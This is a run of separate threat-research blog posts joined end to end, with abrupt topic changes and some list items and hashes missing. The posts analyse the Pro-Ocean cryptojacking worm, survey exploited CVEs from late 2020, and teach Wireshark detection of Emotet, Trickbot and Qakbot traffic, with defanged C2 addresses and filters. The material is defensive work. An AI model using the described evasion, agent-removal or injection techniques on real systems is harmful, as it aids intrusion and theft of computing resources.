In 2019, Unit 42 researchers documented cloud-targeted malware used by the Rocke Group to conduct cryptojacking attacks to mine for Monero. Since then, cybersecurity companies have had the malware on their radar, which hampered Rocke Group’s cryptojacking operation. In response, the threat actors updated the malware.
Here, we uncover a revised version of the same cloud-targeted cryptojacking malware, which now includes new and improved rootkit and worm capabilities. We also detail the hiding techniques used by the malware to dodge cybersecurity companies’ detection methods, while explaining its four-module structure. We’ve named the malware Pro-Ocean after the name the attacker chose for the installation script.
Pro-Ocean uses known vulnerabilities to target cloud applications . In our analysis, we found Pro-Ocean targeting Apache ActiveMQ (CVE-2016-3088), Oracle WebLogic (CVE-2017-10271) and Redis (unsecure instances). In the case that the malware runs in Tencent Cloud or Alibaba Cloud, it will use the exact code of the previous malware to uninstall monitoring agents to avoid detection. Additionally, it attempts to remove other malware and miners including Luoxk, BillGates, XMRig and Hashfish before installation. Once installed, the malware kills any process that uses the CPU heavily, so that it’s able to use 100% of the CPU and mine Monero efficiently.
Palo Alto Networks Prisma Cloud customers are protected from Pro-Ocean through the Runtime Protection and Cryptominers Detection features.
The Malware
Although Pro-Ocean attempts to disguise itself as benign, it packs an XMRig miner, which is notorious for its use in cryptojacking operations. The miner seeks to hide using several obfuscation layers on top of the malicious code:
The binary is packed using UPX. This means that the actual malware is compressed inside the binary and is extracted and executed during the binary execution.
Advanced static analysis tools can unpack UPX binaries and scan their content. However, in this case, the UPX magic string has been deleted from the binary, and therefore, static analysis tools cannot identify this binary as UPX and unpack it.
The modules are gzipped inside the unpacked binary.
The XMRig binary is inside one of the gzipped modules and is also packed by UPX and does not have the UPX magic string.
Figure 1. Obfuscation layers.
Pro-Ocean targets several typical cloud applications including Apache ActiveMQ, Oracle Weblogic and Redis, with an emphasis on cloud providers based in China including Alibaba Cloud and Tencent Cloud. It is written in Go and compiled to an x64 architecture binary. It contains four modules that deploy during execution -- hiding, mining, infecting and watchdog. Each module contains some files written in various languages (C, Python or Bash) and a Bash script that executes it.
The Modules
The four modules of Pro-Ocean are gzipped inside the binary and are extracted and executed one after the other by four different functions.
Figure 2. The four main functions.Figure 3. Malware architecture.
Hiding Module (Rootkit Capabilities)
The hiding module is responsible for concealing Pro-Ocean’s malicious activity. It uses a native Linux feature, LD_PRELOAD. LD_PRELOAD forces binaries to load specific libraries before others, allowing the preloaded libraries to override any function from any library. One of the ways to use LD_PRELOAD is to add the crafted library to /etc/ld.so.preload.
This way, once executed, binaries will load this library and use its functions instead of the functions in the default libraries. This feature is commonly abused by other malware.
During execution, the hiding module compiles a C file into a library and adds it to /etc/ld.so.preload. This library contains many functions that are usually exposed by libc, including open, opendir, readdir, stat, access and much more. These functions use the real libc functions while altering the returned data in order to hide any information that exposes Pro-Ocean (e.g. malicious files or processes). In some cases, they even return forged data when accessing a specific file such as /proc/stat.
As in the previous version of the malware, the code uses Libprocesshider, a library for hiding processes. However, in addition, it looks like the developer of this code gathered several code snippets from the internet and added them in order to gain more rootkit capabilities.
For example, let's take a look at the libc function open. This function opens a file and returns its file descriptor, but something else happens once the malicious library is loaded.
Figure 4. Modified open function.
Before calling open, the malicious function will determine whether the file in question needs to be hidden to obfuscate malicious activities. If it determines that the file needs to be hidden, the malicious function will return a “No such file or directory” error, as if the file in question does not exist.
Besides that, in this module, Pro-Ocean will try to gain persistence by copying itself into numerous locations, create a new malicious service that will execute the malware in case it is not running and add several cron jobs that will do the same thing periodically.
Mining Module
The mining module is the reason Pro-Ocean exists in the first place. Its goal is to mine Monero into the attacker’s wallet, and it does so by deploying an XMRig miner 5.11.1 and a JSON configuration, then starting to mine. This is a common operation for cryptojacking malware.
Infection Module (Worm Capabilities)
Behaving differently than they chose to in the previous version of the malware, the Rocke Group does not exploit victims manually with Pro-Ocean. Instead, this version of the malware uses a Python infection script that gives it "worm" capabilities. This script retrieves the machine’s public IP by accessing an online service that does so in the address "ident.me" and then tries to infect all the machines in the same 16-bit subnet (e.g. 10.0.X.X). It does this by blindly executing public exploits one after the other in the hope of finding unpatched software it can exploit.
Figure 5. Infection scanning loop.
Once it finds unpatched software and exploits it, the Python script sends a payload that will download an installation script from a malicious HTTP server, which will do some preparations and install Pro-Ocean.
The list of vulnerable software that Pro-Ocean exploits includes:
Apache ActiveMQ – CVE-2016-3088.
Oracle WebLogic – CVE-2017-10271.
Redis – unsecure instances.
This list is not finite (meaning Pro-Ocean targets all cloud applications) since the malware is downloaded to the victim from a remote server during the infection. Thus it can be changed, and additional exploits or other upgrades could be added.
Figure 6. Infection process.
Installation Script
The installation script has a crucial role, and it lays the groundwork for Pro-Ocean before installing it by doing several things. It is written in Bash and is obfuscated. By observing it, we can conclude that two of the malware’s targets are Alibaba Cloud and Tencent Cloud.
It works in this order:
Attempt to remove other malware and miners including Luoxk, BillGates, XMRig, Hashfish and more. It does this by running the “grep” command searching for other processes and network connections and then terminates them if found.
Erase all of the cron tasks to make sure that other malware will not be able to recover.
Disable the iptables firewall so that the malware will have full access to the internet.
In the case that the malware runs in Tencent Cloud or Alibaba Cloud, it will use the exact code of the previous malware to uninstall monitoring agents to avoid detection.
Look for SSH keys and attempt to use them in order to infect new machines.
Figure 7. Uninstall the cloud monitoring agents.
After laying the groundwork, the installation script will determine the machine CPU architecture and try to download the corresponding binary using various tools including curl, wget, python2, python3 and PHP.
Figure 8. Obfuscated code that downloads the malware.
Watchdog Module
Pro-Ocean contains a watchdog module written in Bash. It executes two Bash scripts with different purposes.
program__kill30 – This script loops forever and searches for processes that utilize more than 30% of the CPU (not including the malware processes). Once found, it kills them. The malware’s goal is to use 100% of the CPU and mine Monero efficiently, so it kills any process that uses the CPU heavily.
Program__daemonload – This process loops forever and checks that the malware is running. If not, it runs it.
Conclusion
Cryptojacking malware targeting the cloud is evolving as attackers understand the potential of that environment to mine for crypto coins. We previously saw simpler attacks by the Rocke Group, but it seems this group presents an ongoing, growing threat. This cloud-targeted malware is not something ordinary since it has worm and rootkit capabilities. We can assume that the growing trend of sophisticated attacks on the cloud will continue.
This malware is an example that demonstrates that cloud providers’ agent-based security solutions may not be enough to prevent evasive malware targeted at public cloud infrastructure. As we saw, this sample has the capability to delete some cloud providers’ agents and evade their detection (Figure 7).
Palo Alto Networks Prisma Cloud customers are protected from Pro-Ocean through the Runtime Protection and Cryptominers Detection features.
Unit 42 researchers observed interesting attack trends from August-October 2020. Despite a surge in scanner activities and HTTP directory traversal exploitation attempts, CVE-2012-2311 and CVE-2012-1823, which were the most commonly exploited vulnerabilities in the wild in early summer 2020, are no longer at the top of that list. Several new critical exploits, including but not limited to CVE-2020-17496 and CVE-2020-25213, have emerged and were being utilized at a constant and concerning rate as of fall 2020. To complicate matters, malicious actors are well aware that new exploits aren’t always needed to get the job done. Based on observations of malicious traffic for the designated three months, weaponized ThinkPHP vulnerabilities like CVE-2018-20062 and CVE-2019-9082 had become attackers’ new favorite method of exploit.
In the following sections, we dive deep into exploit analysis, attack origin and attack category distribution, in addition to the spiking activities of scanners and HTTP directory traversal attacks.
While cybercriminals will never cease their malicious activities, Palo Alto Networks customers are protected from the attacks discussed here by the Next-Generation Firewall.
Data Collection
By leveraging Palo Alto Networks Next-Generation Firewalls as sensors on the perimeter, Unit 42 researchers have been able to isolate malicious activities from benign traffic from August-October 2020. The malicious traffic is then further processed based on metrics such as IP addresses, ports and timestamps. This ensures the uniqueness of each attack session and thus eliminates potential data skews. The researchers then correlate the refined data with other attributes to infer attack trends over time and get a picture of the threat landscape.
How Severe Were the Attacks?
Out of 3,092,127 verified attack sessions observed, there were 656 unique threat triggers.
Figure 1. Attack severity distribution in August-October 2020.
We only consider exploitable vulnerabilities with a severity rating above medium (based on the CVSS v3 Score) as a verified attack. Table 1 shows the session count and ratio of attacks with different vulnerability severities.
Severity
Session Count
Ratio
Critical
1,559,512
50.4%
High
1,317,901
42.6%
Medium
214,714
6.9%
Table 1. Attack severity distribution ratio in August-October 2020
Exploiting vulnerabilities with high and critical severity levels is trending upward, as shown in Table 1. Not only are these exploits destructive in nature, they are also crucial to weaponizing vulnerabilities against popular products that are already part of the ecosystem. In the next section, we highlight the top five attacks that we believe are noteworthy in terms of exploitability and impact.
Latest Attack Analysis
Out of all severe attacks that we monitored, the following five exploits are the most intriguing to us. These exploits received a lot of media coverage because they had already been exploited in the wild before a patch was made available or were abused soon after the announcement of the security advisory. In addition to this attention, the reasons these exploits are in the top five attacks category are their critical severity level and their overall prevalence in 2020. These are indications that attackers are quick and efficient in adapting new tools and tactics to compromise their targets of interest. We rate the exploits below as the top five recent vulnerabilities that we captured in the wild, based on 80,528 incidents which are related to new attacks from August-October.
Nette is a PHP/Composer MVC framework. It is vulnerable to code injection attacks with specific URL parameters. This vulnerability is critical, which will lead to remote code execution.
Artica Web Proxy is a firewall software that is vulnerable to a SQL injection of the api key parameter in fw.login.php. The vulnerability can be used to bypass Artica and gain administrator privileges through SQL injection vulnerability.
5. Oracle WebLogic Server Remote Code Execution Vulnerability
Oracle WebLogic Server has a remote code execution vulnerability, which could lead to critical security issues. This flaw has a low attack complexity and is highlighted as “easily exploitable.”
Overall Attack Analysis
The following exploits, shown in Table 2, were the most popular from August-October 2020 in terms of volume.
CVE Number
Vulnerability
1
CVE-2017-9841
PHPUnit Remote Code Execution Vulnerability
2
CVE-2019-9082
ThinkPHP Remote Code Execution Vulnerability
3
CVE-2019-12725
Zeroshell Remote Command Execution Vulnerability
4
CVE-2019-16759
vBulletin Remote Code Execution Vulnerability
5
CVE-2018-19986, CVE-2019-19597
D-Link Remote Command Execution Vulnerability
6
CVE-2018-10561, CVE-2018-10562
GPON Home Routers Remote Code Execution Vulnerability
Exposure of the /vendor endpoint allows remote attackers to gain arbitrary PHP code execution on the target. This vulnerability affects all 4.x versions before 4.8.28 and 5.x versions before 5.6.3.
There’s a remote code execution vulnerability in ZeroShell version 3.9.0. By wrapping the payload in new-line characters and placing the resulting payload in the x590type HTTP parameter, the attacker can achieve arbitrary code execution on the victim’s machine.
Both D-Link DIR-818LW Rev.A 2.05.B03 and DIR-822 B1 202KRb06 devices are susceptible to a command injection vulnerability due to insufficient validation of the HTTP parameter RemotePort. An attacker can inject shell metacharacters and achieve arbitrary command execution.
CVE-2019-19597
There’s a remote command execution vulnerability in D-Link DAP-1860 devices due to insufficient input sanitization in the HNAP_Auth HTTP header value. An attack can inject shell metacharacters and achieve arbitrary code execution.
6. GPON Home Routers Remote Code Execution Vulnerability
CVE-2018-10561
The vulnerable versions of Dasan GPON routers are susceptible to authentication bypass because they don’t properly handle the URL. This vulnerability is often used in conjunction with CVE-2018-10562 to maximize the impact.
CVE-2018-10562
There is a command injection vulnerability in Dasan GPON routers. The vulnerable versions don’t sanitize the dest_host parameter, resulting in dire consequences. The router saves ping results in /tmp and lurks the user to revisit it.
7. vBulletin Remote Code Execution Vulnerability
CVE-2020-17496
There is a remote command execution vulnerability in vBulletin 5.5.4 through 5.6.2 via crafted subWidgets data in an ajax/render/widget_tabbedcontainer_tab_panel request.
NOTE: This issue exists because of an incomplete fix for CVE-2019-16759.
8. ThinkPHP Remote Code Execution Vulnerability
CVE-2018-20062
A specifically crafted value in the filter HTTP parameter can result in arbitrary code execution in the ThinkPHP framework. This bug affects versions <= 5.0.23.
On DrayTek Vigor3900, Vigor2960 and Vigor300B devices before 1.5.1, shell metacharacters via cgi-bin/mainfunction.cgi/cvmcfgupload allow remote command execution in a filename when the text/x-python-script content type is used.
CVE-2020-14472
There are some command injection vulnerabilities in the mainfunction.cgi file on Draytek Vigor3900, Vigor2960 and Vigor 300B devices before 1.5.1.1.
CVE-2020-8515
DrayTek Vigor2960 1.3.1_Beta, Vigor3900 1.4.4_Beta, Vigor300B 1.3.3_Beta, 1.4.2.1_Beta and 1.4.4_Beta allow remote code execution as root via shell metacharacters to the cgi-bin/mainfunction.cgi URI without authentication.
In addition to vulnerabilities with specific CVE numbers assigned, we also capture other vulnerabilities that occur with high frequency. Below are the top five:
ThinkCMF local file inclusion vulnerability.
There’s a file inclusion vulnerability in ThinkCMF that can also result in remote code execution. This bug affects ThinkCMF with versions <= 2.2.3.
D-Link DSL-2750B OS command injection vulnerability.
A lack of parameter validation in Zyxel EMG2926 routers results in a remote command vulnerability. It’s also one of the vulnerabilities being exploited by Mirai malware.
Netgear DGN Device remote command execution.
It’s an unauthenticated remote command execution resulting from the lack of input sanitization in syscmd function of setup.cgi. This vulnerability exists in Netgear DGN devices DGN1000 (for those with firmware version < 1.1.00.48) and DGN2200 v1.
Attack Category Distribution
Figure 2. Attack category distribution from August-October 2020.
Figure 2 shows the attack category distribution. As we would like to know the details on exploitability and accessibility, we calculate the triggers by classifying the attack category. 46.9% of the attacks are code execution, which means this category still represents high-risk exposure to the network. 14.6% of the attacks can be considered privilege escalation and 12.4% are information disclosure attacks, which means the attackers are continuously attempting to gain greater access and establish an exploit chain leading to more powerful attacks such as code execution.
HTTP Directory Traversal Attacks
In contrast to what was observed in early summer 2020, we identified large-volume attack attempts (~500K) that exploit HTTP directory traversal vulnerabilities. Although this type of attack is one of the most commonly seen malicious behaviors in network traffic, such high volume is still rare to observe in the real world.
We first listed the top 10 destination ports attacked by the directory traversal. Most of the exploitation attempts are targeting the widely used HTTP port numbers 80 (86.6%) and 8080 (2.4%).
Figure 3. HTTP directory traversal attack victim port distribution from August-October 2020.
Where Did the Attacks Originate?
After identifying the region from which each network attack originated, we discovered that, by far, the largest number of them originated from the United States, followed by China and Russia. This may be in part due to the large population of the United States, China and Russia, as well as the high amounts of internet use in those regions.
Figure 4. Locations ranked in terms of how frequently they were the origin of observed attacks from August-October 2020.Figure 5. Attack geolocation distribution from August-October 2020.
Conclusion
Taken together, our data shows that attackers prioritize exploits that are both severe and easily deployed, likely in search of high-impact, low-effort attacks. While they keep ready-made weaponized exploits handy, attackers will make a concerted effort to update their arsenal whenever information about newly released vulnerabilities and the associated proofs-of-concept become available. This underscores the need for organizations to promptly patch their systems and implement security best practices.
Mitigations include:
Run a Best Practice Assessment to identify where your configuration could be altered to improve your security posture.
Continuously update your Next-Generation Firewalls with the latest Palo Alto Networks Threat Prevention contents (e.g versions 8366-6505 and above).
This tutorial is designed for security professionals who investigate suspicious network activity and review packet captures (pcaps). Familiarity with Wireshark is necessary to understand this tutorial, which focuses on Wireshark version 3.x.
Emotet is an information-stealer first reported in 2014 as banking malware. It has since evolved with additional functions such as a dropper, distributing other malware families like Gootkit, IcedID, Qakbot and Trickbot.
Today’s Wireshark tutorial reviews recent Emotet activity and provides some helpful tips on identifying this malware based on traffic analysis.
Warning: Some of the pcaps used for this tutorial contain Windows-based malware. There is a risk of infection if using a Windows computer. If possible, we recommend you review these pcaps in a non-Windows environment like BSD, Linux or macOS.
Chain of Events for an Emotet Infection
To understand network traffic caused by Emotet, you must first understand the chain of events leading to an infection. Emotet is commonly distributed through malicious spam (malspam) emails. The critical step in an Emotet infection chain is a Microsoft Word document with macros designed to infect a vulnerable Windows host.
Figure 1. Screenshot of a Word document used to cause an Emotet infection in January 2021.
Malspam spreading Emotet uses different techniques to distribute these Word documents.
The malspam may contain an attached Microsoft Word document or have an attached ZIP archive containing the Word document. In recent months, we have seen several examples where these ZIP archives are password-protected. Some emails distributing Emotet do not have any attachments. Instead, they contain a link to download the Word document.
In previous years, malspam pushing Emotet has also used PDF attachments with embedded links to deliver these Emotet Word documents.
Figure 2 illustrates these four distribution techniques.
Figure 2. Various distribution paths for an Emotet Word document.
After the Word document is delivered, if a victim opens the document and enables macros on a vulnerable Windows host, the host is infected with Emotet.
From a traffic perspective, we see the following steps from an Emotet Word document to an Emotet infection:
Web traffic to retrieve the initial binary.
Encoded/encrypted command and control (C2) traffic over HTTP.
Additional infection traffic if Emotet drops follow-up malware.
SMTP traffic if Emotet uses the infected host as a spambot.
Figure 3 shows a flowchart of network activity we might find during an Emotet infection.
Figure 3. Flowchart for an Emotet infection.
Since Dec. 21, 2020, the initial binary for Emotet has been a Windows DLL file. Previously, this binary had been a Windows EXE file.
Emotet C2 traffic consists of encoded or otherwise encrypted data sent over HTTP. This C2 activity can use either standard or non-standard TCP ports associated with HTTP traffic. This C2 activity also consists of data exfiltration and traffic to update the initial Emotet binary.
Since Emotet is also a malware dropper, the victim may become infected with other malware. Analysts should search for traffic from other malware when investigating traffic from an Emotet-infected host.
Finally, an Emotet-infected host may also become a spambot generating large amounts of traffic over TCP ports associated with SMTP like TCP ports 25, 465 and 587.
Pcaps of Emotet Infection Activity
Five password-protected ZIP archives containing pcaps of recent Emotet infection traffic are available at this GitHub repository. Once on the GitHub page, click on each of the ZIP archive entries and download them, as shown in Figures 4 and 5.
Figure 4. GitHub repository with links to ZIP archives used for this tutorial.Figure 5. Downloading one of the ZIP archives for this tutorial.
Use infected as the password to extract pcaps from these ZIP archives. This should give you the following five pcap files:
Open Example-1-2021-01-06-Emotet-infection.pcap in Wireshark and use a basic web filter as described in our previous tutorial about Wireshark filters. The basic filter for Wireshark 3.x is:
(http.request or tls.handshake.type eq 1) and !(ssdp)
Figure 6. Our first pcap in this tutorial filtered in Wireshark.
As shown in Figure 6, the first five HTTP GET requests represent four URLs used to retrieve the initial Emotet DLL. The traffic is:
hangarlastik[.]com GET /cgi-bin/Ui4n/
hangarlastik[.]com GET /cgi-sys/suspendedpage.cgi
padreescapes[.]com GET /blog/0I/
sarture[.]com GET /wp-includes/JD8/
seo.udaipurkart[.]com GET /rx-5700-6hnr7/Sgms/
The first two URLs indicate hangarlastik[.]com no longer had the Emotet DLL file it had been hosting. Follow TCP streams for each of these requests to see replies to each of the HTTP GET requests.
An easier way to see the HTTP responses is to update your Wireshark basic web filter to include HTTP responses:
(http.request or http.response or tls.handshake.type eq 1) and !(ssdp)
This will show HTTP responses in the Info column, as illustrated in Figure 7.
Figure 7. Adding HTTP responses to the Wireshark display filter.
Now we have a clearer picture of what happened when the Word macro tried to retrieve an Emotet DLL:
hangarlastik[.]com GET /cgi-bin/Ui4n/
HTTP/1.1 302 Found
hangarlastik[.]com GET /cgi-sys/suspendedpage.cgi
HTTP/1.1 200 OK
padreescapes[.]com GET /blog/0I/
HTTP/1.1 401 Unauthorized
sarture[.]com GET /wp-includes/JD8/
HTTP/1.1 403 Forbidden
seo.udaipurkart[.]com GET /rx-5700-6hnr7/Sgms/
The only 200 OK was a reply for a suspended page notification from hangarlastik[.]com.
The HTTP GET request to seo.udaipurkart[.]com does not show a response, so follow the TCP stream for this request, as shown in Figure 8.
Figure 8. Following TCP stream for the HTTP request to seo.udaipurkart[.]com.
The TCP stream shows indicators that seo.udaipurkart[.]com returned a Windows DLL file, as shown in Figure 9.
Figure 9. Indicators of a DLL file returned from seo.udaipurkart[.]com.Export this DLL from the pcap by using the menu path: File --> Export Objects --> HTTP, as shown in Figure 10. As always, we recommend you do not export this file in a Windows environment, since the DLL is Windows-based malware.
Figure 10. Exporting the Emotet DLL from our first pcap.
Emotet C2 traffic is encoded data sent using HTTP POST requests. You can easily find these requests in Wireshark using the following filter:
http.request.method eq POST
The results are shown in Figure 11.
Figure 11. Filtering for HTTP POST requests in our first pcap.
In our first pcap, Emotet C2 traffic consists of HTTP POST requests to:
5.2.136[.]90 over TCP port 80
167.71.4[.]0 over TCP port 8080
Emotet generates two types of HTTP POST requests for its C2 traffic. The first type of POST request ends with HTTP/1.1. The second type of POST request ends with HTTP/1.1 (application/x-www-form-urlencoded).
Follow the TCP stream for the initial HTTP request to 5.2.136[.]90 at 16:42:34 UTC to see an example of the first type of C2 POST request, as shown in Figure 12.
Figure 12. The first type of HTTP POST request for Emotet C2 traffic.
Figure 12 shows this POST request sends approximately 6 KB of form-data that appears to be an encoded or encrypted binary. Scroll down to the HTTP response to see encoded data returned from the server. Figure 13 shows the start of this encoded data.
Figure 13. Encoded data returned from the server in response to the HTTP POST request.
This type of encoded or encrypted data is how Emotet botnet servers exchange data with an infected Windows host. This is also the channel Emotet uses to update the Emotet DLL and drop follow-up malware.
The second type of HTTP POST request for Emotet C2 traffic looks noticeably different than the first type. Use the following filter in Wireshark to easily find the second type of HTTP POST request:
urlencoded-form
This should return two HTTP POST requests to 167.71.4[.]0 over TCP port 8080, as shown in Figure 14.
Figure 14. Filtering for the second type of HTTP POST request in Emotet C2 traffic.
Follow the TCP stream for the first of these two HTTP POST requests at 16:58:43 UTC. Review the traffic. The results are shown in Figure 15.
Figure 15. TCP stream for the second type of HTTP POST request in Emotet C2 traffic.
As shown in Figure 15, some of the data sent in the POST request is encoded as a base64 string with some URL encoding. For example, %2B is used for a + symbol, %2F represents / and %3D is used for =.
Data sent in response from the server is encoded or otherwise encrypted.
Our first pcap has no follow-up malware or other significant activity.
The only other activity is repeated connection attempts to 46.101.230[.]194 over TCP port 443. You can easily spot this activity by filtering on TCP SYN segments that are retransmissions. Use the following Wireshark filter:
tcp.analysis.retransmission and tcp.flags eq 0x0002
The results are shown in Figure 16.
Figure 16. Filtering on retransmissions of TCP SYN segments in Wireshark.
An Internet search on 46.101.230[.]194 should reveal this IP address has been used for Emotet C2 activity.
The remaining traffic in the pcap is system traffic generated by a Microsoft Windows 10 host.
In our next pcap, we examine an Emotet infection with spambot activity.
Example 2: Emotet With Spambot Traffic, Part 1
Open Example-2-2021-01-05-Emotet-with-spambot-traffic-part-1.pcap in Wireshark and use a basic web filter, as shown in Figure 17.
Figure 17. Traffic from the second pcap filtered in Wireshark using our basic web filter.
Similar to our first example, we receive some HTTP GET requests before Emotet C2 traffic. These GET requests are attempts to download the initial Emotet DLL over web traffic. The first frame in the column display shows HTTPS traffic to obob[.]tv, which was probably a web request for the initial Emotet DLL, because this domain was reported as hosting an Emotet binary on Jan. 5, 2021, the same date as the traffic in our pcap.
Follow the TCP stream for the HTTP GET request to miprimercamino[.]com to confirm it returned an Emotet DLL. You should see indicators similar to Figure 9 from our first pcap. We can export the Emotet DLL returned from miprimercamino[.]com, as shown in Figure 18.
Figure 18. Exporting the Emotet DLL from the pcap.
The SHA256 hash for the extracted DLL from our second pcap is:
Again, we find two types of HTTP POST requests for Emotet C2 traffic. To filter for each type of Emotet C2 HTTP POST request, use the following Wireshark filters:
First type: http.request method eq POST and !(urlencoded-form)
Second type: urlencoded-form
Follow TCP streams for the HTTP POST requests returned by these filters and confirm they follow the same patterns seen in our first pcap.
After reviewing some examples of Emotet C2 traffic from this pcap, let’s move on to the spambot activity.
In this example, our infected host was turned into a spambot, so we also have SMTP traffic. The spambot SMTP traffic is encrypted, but we can easily find it by using our basic web filter and scrolling down the column display.
At 20:06:20 UTC, the pcap starts showing SSL/TLS traffic to TCP ports associated with the SMTP email protocol, like TCP ports 25, 465 and 587, as shown in Figure 19.
Figure 19. Using the basic web filter and scrolling through the column display to find spambot traffic.
We can filter on smtp to find some of the SMTP commands before encrypted SMTP tunnels are established. Figure 20 shows the results.
Figure 20. Filtering for SMTP traffic in our second pcap.
We can sometimes find unencrypted SMTP from spambot traffic generated by an Emotet-infected Windows host. Unencrypted SMTP will reveal its message content, but the volume of encrypted SMTP from a spambot host is far greater than the volume of unencrypted SMTP. Therefore, most of the spambot messages from an Emotet-infected host are hidden within the encrypted traffic.
In this example, you should only see encrypted SMTP traffic.
But our next example is later from this same infection, when we finally saw some unencrypted SMTP.
Example 3: Emotet With Spambot Traffic, Part 2
Open Example-3-2021-01-05-Emotet-with-spambot-traffic-part-2.pcap in Wireshark and use a basic web filter, as shown in Figure 21.
Figure 21. Traffic from the third pcap filtered in Wireshark using our basic web filter.
In this pcap, we still see HTTP POST requests for Emotet C2 traffic, at least twice each minute. We can also find encrypted spambot activity similar to our previous pcap.
Spambot activity frequently generates a large amount of traffic. This pcap consists of 4 minutes and 42 seconds of spambot activity from the infected Windows host, and it’s over 21 MB of traffic.
We can quickly identify any unencrypted SMTP traffic by using the following Wireshark filter:
smtp.data.fragment
Figure 22 shows the results of this filter for our third pcap. The filter reveals five examples of Emotet malspam generated by the infected Windows host.
Figure 22. Filtering for indicators of unencrypted SMTP from spambot traffic.
Follow the TCP stream for the last email from: "Gladisbel Miranda at 20:19:54 UTC. Examine what these messages look like, as shown in Figure 23.
Figure 23. TCP stream for an example of Emotet malspam from our third pcap.
We can export these five items of Emotet malspam by using the menu path File --> Export Objects --> IMF, as shown in Figure 24.
Figure 24. Exporting Emotet malspam from our third pcap.
Export these emails and examine them. Ideally, we recommend doing this in a non-Windows environment. Thunderbird is a free email client you can use to see how a potential victim might view these emails.
As mentioned earlier, Emotet is also a malware downloader. Perhaps the most common malware distributed through Emotet is Trickbot.
Example 4: Emotet Infection with Trickbot
Open Example-4-2021-01-05-Emotet-infection-with-Trickbot.pcap in Wireshark and use a basic web filter, as shown in Figure 25.
Figure 25. Traffic from the fourth pcap filtered in Wireshark using our basic web filter.
This pcap does not have an HTTP GET request for an initial Emotet DLL. However, the first frame in our column display shows HTTPS traffic to fathekarim[.]com. This was probably a web request for the Emotet DLL, because this domain was reported as hosting an Emotet binary on Jan. 5, 2021, the same date as the traffic in our pcap.
You should find the same two types of HTTP POST requests associated with Emotet C2, as described in our previous two pcaps.
This pcap also contains indicators of a Trickbot infection. Use your basic web filter and scroll down to find Trickbot traffic, as shown in Figure 26.
Figure 26. Scrolling down the column display to find Trickbot indicators in our fourth pcap using a basic web filter.
HTTPS traffic over TCP ports 447 or 449 without an associated domain or hostname.
HTTP POST requests over standard or non-standard TCP ports for HTTP traffic that end with /81/, /83/ or /90, which are associated with data exfiltration.
With Trickbot from Emotet infections, the above HTTP POST requests start with /mor followed by a number (only one or two digits seen so far).
HTTP GET requests for URLs that end in .png that return additional Trickbot binaries.
We can easily find these indicators using the following Wireshark filters:
tls.handshake.type eq 1 and (tcp.port eq 447 or tcp.port eq 449)
(http.request.uri contains /81 or http.request.uri contains /83 or http.request.uri contains /90) and http.request.uri contains mor
http.request.uri contains .png
Figures 27-29 show the results from each of the above filters.
Figure 27.: Filtering for Trickbot HTTPS traffic over TCP port 447 or TCP port 449.Figure 28. Filtering for HTTP POST requests associated with Trickbot data exfiltration.
Follow TCP streams for each of the HTTP POST requests shown in Figure 28 to see if any password data was exfiltrated. The last HTTP POST request ending with /90 contains data about the infected Windows host and its environment.
Figure 29. Filtering for HTTP GET requests ending in .png associated with additional Trickbot binaries.
Follow TCP streams for each of the HTTP POST requests shown in Figure 29 to see if any Windows binaries were returned. Doing so should reveal two Windows executable files. You can then export these binaries from the pcap using File --> Export Objects --> HTTP, as discussed in our previous examples.
SHA256 hashes for these two Windows binaries (both EXE files) are:
59e1711d6e4323da2dc22cdee30ba8876def991f6e476f29a0d3f983368ab461 for mingup.png
ed8dea5381a7f6c78108a04344dc73d5669690b7ecfe6e44b2c61687a2306785 for saved.png
Trickbot is the most common malware distributed by Emotet, but it is not the only one. Qakbot is another type of malware frequently dropped on Emotet-infected Windows hosts.
Example 5: Emotet Infection With Qakbot
Open Example-5-2020-08-18-Emotet-infection-with-Qakbot.pcap in Wireshark and use a basic web filter, as shown in Figure 30.
Figure 30. Traffic from the fifth pcap filtered in Wireshark using our basic web filter.
In our fifth pcap, an Emotet Word document was retrieved from saketpranamam.mysquare[.]in at 21:23:50 UTC, which matches a URL reported as hosting an Emotet Word document on the same date. Export this Word document from the pcap using File --> Export Objects --> HTTP, as discussed in our previous examples.
The SHA256 hash for this extracted Word document is:
As in our previous examples, you should find the same two types of HTTP POST requests associated with Emotet C2 traffic.
Additionally, this pcap contains indicators of a Qakbot infection. Use your basic web filter and scroll down to find Qakbot traffic, as shown in Figure 31.
Figure 31. Scrolling down the column display to find Qakbot indicators in our fifth pcap using a basic web filter.
HTTPS traffic over standard and non-standard TCP ports for HTTPS.
Certificate data for Qakbot HTTPS traffic has unusual values for the issuer fields, and the certificate is not issued by an authority based in the United States.
TCP traffic over TCP port 65400.
Prior to late November 2020, Qakbot commonly generated HTTPS traffic to cdn.speedof[.]me.
Prior to late November 2020, Qakbot commonly generated HTTP GET requests to a.strandsglobal[.]com.
We can easily find these indicators by using the following Wireshark filters:
tls.handshake.type eq 11 and !(x509sat.CountryName == US)
Figures 32-35 show the results from each of the above filters.
Figure 32. Filtering and searching for unusual certificate issuer data in HTTPS traffic generated by Qakbot.
In Figure 32, the results of our first filter show several frames in the column display for traffic from 71.80.66[.]107. Search through the frame details and find unusual certificate issuer data, as shown above.
Figure 33. Filtering for Qakbot traffic over TCP port 65400.
In the above image, we find a single TCP stream of Qakbot traffic over TCP port 65400. This stream contains the public IP address and a botnet identification string for the Qakbot-infected Windows host.
Figure 34. Filtering for traffic to cdn.speedof[.]me, which is not inherently malicious, but a connectivity check caused by Qakbot prior to late November 2020.Figure 35. Filtering for traffic to a.stransglobal[.]com, typically generated by Qakbot prior to late November 2020.While Emotet has commonly dropped Trickbot and Qakbot, be aware that Emotet has also dropped other types of malware such as Gootkit and IcedID.
Conclusion
This tutorial reviewed how to identify Emotet activity from pcaps of its infection traffic. We reviewed five recent pcaps and found similarities in HTTP POST requests caused by Emotet C2 traffic. The patterns are fairly unique and can be used to identify an Emotet infection within your network. We also reviewed other post-infection activities associated with Emotet, such as spambot traffic and different families of malware dropped on an infected host.
This knowledge can help security professionals better detect and catch an Emotet infection when reviewing suspicious network activity.
For more help with Wireshark, see our previous tutorials:
In December 2019, Amazon Web Services (AWS) announced the availability of Amazon Elastic Block Store (EBS) direct APIs, giving AWS customers granular (block-level) access to snapshots (incremental backups), which were once considered a fairly opaque EBS format.
These new APIs have been helpful in disaster recovery (DR) scenarios: In the event of an AWS regional outage or outage of a specific customer’s AWS environment, disaster recovery companies need access to data in order to restore company operations. The most efficient way to do this is to copy the data directly from AWS and only copy the data that’s changed over time. These APIs now allow disaster recovery companies to do so.
